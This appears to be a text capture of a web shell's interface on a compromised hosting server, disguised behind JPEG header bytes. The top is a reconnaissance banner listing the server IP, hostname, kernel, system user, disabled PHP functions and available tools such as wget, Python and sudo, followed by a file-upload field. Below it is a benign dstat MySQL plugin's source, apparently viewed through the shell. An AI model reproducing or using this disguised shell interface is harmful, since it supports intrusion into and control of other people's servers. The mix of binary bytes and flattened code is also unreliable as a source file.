ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.6.109 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /usr/share/dstat/ |
Upload File : |
### Author: <lefred$inuits,be> global mysql_user mysql_user = os.getenv('DSTAT_MYSQL_USER') or os.getenv('USER') global mysql_pwd mysql_pwd = os.getenv('DSTAT_MYSQL_PWD') class dstat_plugin(dstat): """ Plugin for MySQL 5 I/O. """ def __init__(self): self.name = 'mysql5 io' self.nick = ('recv', 'sent') self.vars = ('Bytes_received', 'Bytes_sent') def check(self): global MySQLdb import MySQLdb try: self.db = MySQLdb.connect(user=mysql_user, passwd=mysql_pwd) except: raise Exception, 'Cannot interface with MySQL server' def extract(self): try: c = self.db.cursor() c.execute("""show global status like 'Bytes_%';""") lines = c.fetchall() for line in lines: if len(line[1]) < 2: continue if line[0] in self.vars: self.set2[line[0]] = float(line[1]) for name in self.vars: self.val[name] = self.set2[name] * 1.0 / elapsed if step == op.delay: self.set1.update(self.set2) except Exception, e: for name in self.vars: self.val[name] = -1 # vim:ts=4:sw=4:et